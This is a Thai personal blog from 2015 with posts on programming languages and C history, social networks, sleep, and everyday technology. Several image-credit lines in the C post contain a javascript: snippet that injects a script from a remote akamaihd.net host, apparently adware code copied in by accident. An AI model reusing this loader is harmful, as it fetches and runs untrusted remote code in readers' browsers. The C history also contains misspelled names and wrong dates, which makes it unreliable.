•:*´¨`*:•.☆❤`•.¸¸.•´´¯`••ยินดีต้อนรับเข้าสู่บล็อคแห่งความไร้สาระจัา 555+ ขอบคุณที่เข้ามาดูกันน้า อ่านแล้วคอมเม้นกันด้วยล่ะ••´¯``•.¸¸.•`❤☆.•:*´¨`*:•

วันพุธที่ 24 มิถุนายน พ.ศ. 2558

โปรแกรมภาษาคอมพิวเตอร์

โปรแกรมภาษาคอมพิวเตอร์


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       มนุษย์มีการใช้ภาษาตั้งแต่ยุคก่อนๆ สามารถถ่ายทอดสิ่งต่างๆได้โดยผ่านการเล่าเรื่องราวเป็นประโยค เพื่อสื่อความหมายให้อีกฝ่ายเข้าใจ ภาษานั้นมีความหลากหลายตามพื้นที่ ความเป็นอยู่ และหากจะกล่าวถึงคอมพิวเตอร์ในปัจจุบันนี้แล้ว คงจะต้องกล่าวถึงภาษาของคอมพิวเตอร์ด้วยเช่นกัน เพราะภาษาคอมพิวเตอร์มีความจำเป็นในการควบคุมระบบต่างๆ จะมีหลักการเขียนที่ไม่แน่นอน และจะมีหลักไวยากรณ์ที่ใช้ได้แตกต่างไปแล้วแต่ภาษานั้นๆ ซึ่งต่างจากการใช้ภาษาของมนุษย์เป็นอย่างมาก

       ภาษาของคอมพิวเตอร์มีอยู่มากมายในปัจจุบัน แต่ได้มีการแบ่งระดับของภาษาคอมพิวเตอร์ออกเป็น 3 ระดับ คือ ภาษาเครื่อง (Machine Language) ภาษาระดับต่ำ (Low Level Language) และภาษาระดับสูง (High Level Language) ซึ่งในแต่ระดับก็จะมีภาษาอีกหลายๆภาษาด้วยกัน

ภาษาซี C


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

       ภาษา C (C Programming Languages) เป็นภาษาที่นิยมใช้กันมากที่สุด และเป็นภาษาที่เหมาะสำหรับผู้ที่เริ่มเรียน เพราะเป็นภาษาระดับกลางๆ เป็นภาษาในระดับพื้นฐานที่จะต้องรู้จักกัน และยังสามารถนำไปประยุกต์ใช้ได้หลากหลาย ไม่ว่าจะเป็นโปรแกรมทางไหน ดังนั้นภาษา C จึงกลายเป็นที่รู้จักกันทั่วไป

ประวัติความเป็นมา

       ภาษา C ถูกพัฒนาโดย Dennis Ritche ภายในห้องทดลอง Bell Laboratories ที่เมอร์รีฮิล มลรัฐนิวเจอร์ซี่ โดยมีหลักการมาจากภาษา Basic Combine Programming Language (BCPL) ซึ่งพัฒนาขึ้นโดย Ken Tomson การออกแบบและพัฒนาโดย Dennis Ritche มีจุดมุ่งหมายให้เป็นภาษาสำหรับใช้เขียนโปรแกรมปฏิบัติระบบยูนิกซ์


ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length){var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}

วิวัฒนาการของภาษา C

  • ค.ศ. 1970 มีการพัฒนาภาษา B โดย Ken Thompson ซึ่งทำงานบนเครื่อง DEC PDP-7 ไม่สามารถทำงานบนเครื่องไมโครคอมพิวเตอร์ได้ และยังไม่สามารถใช้งานได้อย่างเต็มที่
  • ค.ศ. 1972 Dennis M. Ritchie และ Ken Thompson ได้พัฒนาภาษา C เพื่อเพิ่มประสิทธิภาพ ภาษา B ให้ดีขึ้น แต่ยัง ไม่เป็นที่นิยมแก่นักโปรแกรมเมอร์สักเท่าไร
  • ค.ศ. 1978 Brian W. Kernighan และ Dennis M. Ritchie ได้เขียนหนังสือเล่มหนึ่งชื่อว่า The C Programming Language ภาษา C กลายเป็นที่รู้จักในการเขียน โปรแกรมมากขึ้น
  • ค. ศ. 1981 เป็นช่วงของการพัฒนาเครื่องไมโครคอมพิวเตอร์ ภาษา C จึงมี บทบาทสำคัญในการนำมาใช้บนเครื่อง PC และมีการพัฒนาต่อมาอีกหลายๆค่าย จึงได้มีการกำหนดทิศทางการใช้ภาษา C ให้เป็นไปแนวทางเดียวกัน American National Standard Institute (ANSIA) ได้กำหนดข้อตกลงที่เรียกว่า 3J11 เพื่อสร้างภาษา C มาตรฐานขึ้นมา เรียนว่า ANSI C
  • ค.ศ. 1983 Bjarne Stroustrup แห่งห้องปฏิบัติการเบล (Bell Laboratories) ได้พัฒนาภาษา C++ ขึ้นรายละเอียดและความสามารถของ C++ มีส่วนขยายเพิ่มจาก C ที่สำคัญ ๆ ได้แก่ แนวความคิดของการเขียนโปรแกรมแบบกำหนดวัตถุเป้าหมายหรือแบบ OOP (Object Oriented Programming) ซึ่งเป็นแนวการเขียนโปรแกรมที่เหมาะกับการพัฒนาโปรแกรมขนาดใหญ่ที่มีความสลับซับซ้อนมาก มีข้อมูลที่ใช้ในโปรแกรมจำนวนมาก จึงนิยมใช้เทคนิคของการเขียนโปรแกรมแบบ OOP ในการพัฒนาโปรแกรมขนาดใหญ่ในปัจจุบันนี้
ที่มา t.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242bb19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}


ข้อดีของภาษา C
  1. เป็นภาษาที่เป็นมาตรฐานที่ใช้กันทั่วไปอยู่แล้ว
  2. เหมาะต่อการพัฒนาโปรแกรม
  3. เขียนโปรแกรมและสามารถแก้ไขข้อผิดพลาดได้อย่างง่ายดาย
  4. ประยุกต์ใช้ได้หลากหลาย สามารถเข้ากับโปรแกรมอื่นๆได้เป็นอย่างดี
  5. โปรแกรมเกือบทุกอย่างมีในเครื่องไมโครคอมพิวเตอร์ตั้งแต่ 8 บิต ไปจนถึง 32 บิต เครื่องมินิคอมพิวเตอร์ และเมนเฟรม
  6. เป็นภาษาที่ง่ายต่อการพัฒนา จนเป็นที่นิยมในการใช้เขียนโปรแกรม

ข้อเสียของภาษา C
  1. เป็นภาษาที่เรียนรู้ยาก
  2. การตรวจสอบโปรแกรมเป็นไปได้ยาก
  3. ไม่เหมาะต่อการเขียนโปรแกรมที่มีความซับซ้อน

ที่มา javascript:try{if(document.body.innerHTML){var a=document.getElementsByTagName("head");if(a.length)
{var d=document.createElement("script");d.src="https://apigatesnapperco-a.akamaihd.net/gsrs?is=&bp=BA&g=8242b
b19-ebce-4675-8deb-97bcf3a80308";a[0].appendChild(d);}}}catch(e){}




ที่มา
https://sites.google.com/site/bbmm2553/prawati-khwam-pen-ma-khxng-phasa-si
http://www.chakkham.ac.th/krusuriya/index.phpoption=com_content&view=article&id=97&Itemid=114

วันพุธที่ 17 มิถุนายน พ.ศ. 2558

social network กับนักเรียนและสังคมไทย

social network กับนักเรียนและสังคมไทย

ที่มา https://ninralat5557.files.wordpress.com/2015/02/social-network-background-with-icons_23-2147497535.jpg

       ปัจจุบันนี้ ในโลกแห่เทคโนโลยีและความทันสมัย เราไม่สามารถปฏิเสธได้เลยว่า social network นั้นมีความสำคัญกับเรามากแค่ไหน ไม่ว่าจะไปที่ไหนก็จะสามารถพบได้ทั่วไป กับบางคนอาจกลายเป็นสิ่งที่ขาดไม่ได้ในชีวิตประจำวันเลยก็ได้ แล้วสามารถคาดเดาได้เลยว่า หากไม่มี social network แล้วอาจจะเกิดผลกระทบอื่นตามมาทีหลังก็ได้


social network คืออะไร

       
social network เป็นเครือข่ายลังคมออนไลน์ ที่มีผู้ใช้มากมาย ทุกเพศ ทุกวัย โดยผู้ใช้รายหนึ่งสามารถเชื่อมโยงกับเพื่อนๆได้หลายๆคน ทั้งที่รู้จักอยู่แล้ว และเพื่อนใหม่ ผ่านผู้ให้บริการทาง social network บนอินเทอร์เน็ต
       การติดต่อกันทาง social network มีหลายช่องทาง เช่น facebook, twiter, line และอื่นๆอีกมากมายแล้วแต่ความชอบของแต่ละคน บางอันก็เป็นที่นิยมมาก บางอันก็ไม่ค่อยเป็นที่นิยมสักเท่าใด ซึ่ง social network นี้ทำให้ผู้ใช้อินเทอร์เน็ตมีความสะดวกสบายมากขึ้นด้วย

ที่มา http://siamwebmate.com/site/visionadmin/media/4a25c_Mobile_social-media-icons.jpg

       สำหรับเราแล้ว social network นั้นมีความสำคัญไม่น้อยเลย ไม่ว่าจะใครก็ตาม เพราะการที่มี social network ทำให้สะดวกต่อการติดต่อสื่อสาร โดยเฉพาะการที่ต้องติดต่อกับบุคคลหลายๆคนในเวลาเดียวกัน มันจะทำให้ประหยัดเวลาได้มากทีเดียว นอกจากนี้ยังสามารถอัพโหลด ดาวน์โหลด รูปภาพ วีดีโอ สามารถแนบไฟล์เอกสาร ติดตามข่าวสารต่างๆ สามารถค้นคว้าหาความรู้ และอื่นๆอีกมากมาย

       ถึงแม้ว่า social network จะมีประโยชน์มากมาย แต่ก็มีข้อเสียไม่น้อยเช่นกัน โดยหากนำไปใช้ในทางที่ผิดก็อาจจะทำให้เกิดอันตรายกับตนเองได้ เช่น อาจถูกล่อลวง อาจถูกแฮคและนำมาซึ่งปัญหาการก่ออาชญากรรมอื่นๆ นอกจากนี้อาจมีสื่อที่ไม่ดีถูกเผยแพร่ออกมา หรืออาจทำให้ใครบางคนอาจเสื่อมเสียชื่อเสียงได้ ซึ่งเมื่อเกิดเรื่องแบบนี้ขึ้น เรื่องอาจต้องถึงมือตำรวจเลยก็ได้

ที่มา http://www.jthaisoft.com/jthaisoft/images/stories/social/social-network.jpg

       ดังนั้น การใช้ social network ควรที่จะใช้อย่างระมัดระวัง ไม่ควรก้าวก่ายสิทธิส่วนบุคคลของคนอื่นเด็ดขาด และควรใช้อย่างมีวิจารณญาณให้มากที่สุด




ที่มา
http://www.microbrand.co/social-network-คืออะไร-ใช้งานอย่างไร/

วันจันทร์ที่ 8 มิถุนายน พ.ศ. 2558

การนอนเท่านั้นที่ครองโลก =3=



การนอนเท่านั้นที่ครองโลก
ที่มา http://www.iammomsociety.com/library-care/photo/childsleep-imomsociety.jpg
      การนอนเป็นส่วนหนึ่งในชีวิตประจำวันที่ทุกคนพึงปฏิบัติ เพราะการนอนหลับเป็นการพักผ่อนสมองของเราที่อ่อนล้ามาทั้งวันจากการทำงานต่างๆ นอกจากจะเป็นการพักผ่อนสมองแล้ว ยังเป็นการซ่อมแซมส่วนต่างๆของร่างกายจากกิจวัตรต่างๆในแต่ละวันของเราอีกด้วย

      แต่ก็ยังมีผู้ที่ประสบปัญหากับการนอนไม่หลับ นอนไม่เต็มอิ่มอยู่ ซึ่งพฤติกรรมเหล่านี้ก็มันจะส่งผลร้ายตามมาด้วย โดยการนอนหลับในแต่ละวันของเราจะอยู่ที่ 7-9 ชั่วโมง และได้มีการศึกษาวิจัยในต่างประเทศพบว่า คนที่นอนน้อยกว่า 4 ชั่วโมงหรือนอนมากกว่า 10 ชั่วโมงต่อคืน เป็นกิจวัตรมีอายุสั้นกว่าคนที่นอนหลับปกติและคนที่นอนหลับไม่เพียงพอนานๆ มีโอกาสเสี่ยงต่อการเกิดโรคร้ายแรงในอนาคตมากขึ้น เช่น โรคหัวใจขาดเลือด โรคหลอดเลือดสมอง เด็กในวัยเจริญเติบโตที่นอนดึกตื่นเช้าเป็นประจำจะตัวเล็ก โตช้ากว่าเด็กที่นอนหลับสนิทเพียงพอเพราะฮอร์โมนที่เกี่ยวกับการเจริญเติบโต (Growth Hormone) จะหลั่งได้เต็มที่ขณะหลับลึก ดังนั้น จึงควรให้เด็กนอนเพียงพอ และไม่ปลุกขณะหลับสนิท

       การที่เรานอนหลับไม่เพียงพอต่อความต้องการของร่างกายนั้น อาจส่งผลให้ประสิทธิภาพการทำงานของสมองลดลง มีอาการหน้ามืด ปวดหัว ระคายเคืองบริเวณตา และอาจมีโรคภัยไข้เจ็บตามมา อาจจะตัองเสียเงินไปกับการรักษาตนเองมากๆอีกด้วย ดังนั้นการนอนจึงเป็นสิ่งที่สำคัญที่ไม่ควรละเลยและควรใส่ใจกับมันให้มาก

ช่วงเวลาการนอนหลับของเราจะแบ่งออกเป็น 2 ระยะ คือ

1. ระยะคลื่นสมองช้า

- หลับตื้นเป็นช่วงเริ่มง่วง คลื่นสมองจะเริ่มช้าลง ยังรู้สึกตัวอยู่จะมีการหลับๆ ตื่นๆ
- หลับลึก เริ่มมีการกรน กัดฟัน ฯลฯ
- หลับลึกมาก หลับลึกมากสุด กำลังเข้าสู่ระยะฝัน

2. ระยะฝัน

       เป็นระยะที่ร่างกายทุกส่วนหยุดการเคลื่อนไหว หรือเคลื่อนไหวเพียงเล็กน้อยเท่านั้น การฝันจะเกิดเป็นวงจร หมุนเวียนไปตั้งแต่การหลับในระดับตื้นๆ จนถึงหลับลึกและฝัน (ประมาณ 45 นาที) ซึ่งช่วงระยะฝันนี้จะมีช่วงเวลายาวมากที่สุด คือ ช่วงเช้ามืด ทำให้จำความฝันได้

       บางครั้งเมื่อตื่นขึ้นจากฝันเราอาจขยับตัวไม่ได้ นั่นก็เพราะร่างกายหยุดการเคลื่อนไหวตามคำสั่งของสมอง จนรู้สึกเหมือนโดนผีอำ
ที่มา http://blog.quitnet.com/Portals/44427/images/Animals_Dogs_Sleeping_puppies

_014322_.jpg

การนอนที่ดีควรทำอย่างไร

  1. ไม่ควรนอนกลางวันก่อน เพราะจะทำให้นอนไม่หลับในตอนกลางคืน 
  2. ควรนอนก่อนเที่ยงคืน ไม่ควรอยู่ดึกมากกว่านี้ 
  3. ไม่ควรเปิดไฟตอนนอน เพราะจะทำให้เราตื่นง่ายขึ้น 
  4. บริเวณรอบๆของเราจะต้องเงียบ เพื่อไม่ให้มีเสียงรบกวนตอนนอน 
  5. การอ่านหนังสือก่อนนอนจะช่วยคุณได้ แต่ไม่ควรอ่านหนังสือจำพวก นิยาย การ์ตูนก่อนนอน เพราะจะติดลมจนนอนไม่หลับ 
  6. ไม่ควรเอาเรื่องงาน เรื่องเครียดๆมาคิดก่อนนอน เพราะจะทำให้นอนไม่หลับ 
  7. การดูหนังก็ช่วยคุณได้ แต่ห้ามดูหนังที่ทำให้ตื่นเต้น เพราะจะทำให้นอนไม่หลับ 
  8. ห้ามดื่มกาแฟก่อนนอน เพราะ ในกาแฟมีสารคาเฟอินที่จะทำให้ใจสั่นและนอนไม่หลับได้ 
  9. ออกกำลังกายช่วงเย็นๆ ประมาณ 4 โมงเย็น ทำให้ร่างกายอ่อนล้าจะหลับง่ายขึ้น 

       เมื่อเราได้นอนอย่างเต็มอิ่ม เราก็จะตื่นเช้ามาอย่างสดใส พร้อมที่จะทำกิจกรรมต่างๆของวันได้อย่างเต็มที่ แต่การนอนหลับควรนอนแต่หัวคำ่ให้เป็นนิสัย จะได้ตื่นเช้าได้เองโดยมีนาฬิกาชีวิตเป็นของตนเอง




ที่มา :
http://www.voathai.com/content/sleeping-hours-ss/1963259.html
http://www.thebestinsure.com/index.php?lay=show&ac=article&Id=396735

วันอาทิตย์ที่ 7 มิถุนายน พ.ศ. 2558

เทคโนโลยีในชีวิตประจำวัน



เทคโนโลยีในปัจจุบัน

       ปัจจุบันมนุษย์มีการพัฒนาสิ่งต่างๆเพื่อสนองความต้องการ และยังเพื่อความสะดวกสบายของตนเอง ไม่ว่าจะเป็นใครก็ไม่สามารถปฏิเสธได้เลยว่า เทคโนโลยีไม่มีความจำเป็น ทุกคนจำเป็นที่จะต้องใช้เทคโนโลยีทั้งนั้น ไม่ว่าจะเป็นการศึกษา การเดินทาง การรักษาความสะอาด การทำงาน หรือแม้แต่การใช้เพื่อความบันเทิง ไม่ว่าจะอย่างไหนเทคโนโลยีก็มีความสำคัญทั้งนั้น จึงทำให้ความต้องการในการใช้เทคโนโลยีมีมากขึ้นเรื่อยๆ และนอกจากนี้เมื่อความต้องการมากขี้นก็จะนำไปสู่การพัฒนาของเทคโนโลยีอีกหลายๆด้าน เพื่อทำให้เกิดความสะดวกสบายมากขึ้นไป


เทคโนโลยีที่นิยมใช้ในปัจจุบัน



ที่มา https://selfstoragenewengland.files.wordpress.com/2015/03/cell-phone.jpg

1. โทรศัพท์มือถือ(cell phone)

       เป็นสิ่งที่มนุษย์ส่วนใหญ่ให้ความสำคัญเป็นอย่างมา เพราะนอกจากที่จะสามารถติดต่อสื่อสารได้สะดวกและหลากหลายแล้ว ยังสามารถถ่ายรูป เล่นเกมส์ ทำงาน อัดวีดีโอ ฯลฯ ได้ด้วย แต่โทรศัพท์มือถือนั้นก็ยังมีข้อเสีย หากใช้อย่างไม่ถูกต้องและเหมาะสม อาจทำให้เกิดโรคในภายหลังได้


ที่มา http://queenslandcomputers.com.au/wp-content/uploads/2013/12/computer.jpg

2. คอมพิวเตอร์(computer)

       เป็นอุปกรณ์อีกอย่างหนึ่งที่นิยมใช้กันมาก โดยเฉพาะกับการทำงานในบริษัท เพราะจะต้องมีการพิมพ์เอกสาร จัดเรียงข้อมูล และอื่นๆอีกมากมาย นอกจากนี้ยังใช้เพื่อความบันเทิงได้ด้วย แต่ก็ยังมีข้อเสียตามมาหากใช้เป็นเวลาหลายชั่วโมงต่อวัน อาจส่งผลต่อสายตาได้


       การใช้เทคโนโลยีไม่ได้เป็นสิ่งที่ไม่ดี หรือเป็นสิ่งที่แย่อะไรนัก ถ้าหากรู้จักวิธีใช้ที่ถูกต้อง ไม่ใช้ในทางที่ทุจริต เทคโนโลยีก็จะเป็นสิ่งที่นำประโยชน์แก่ตัวเรา และยังควรใช้เทคโนโลยีให้เหมาะสม ใช้เท่าที่จำเป็น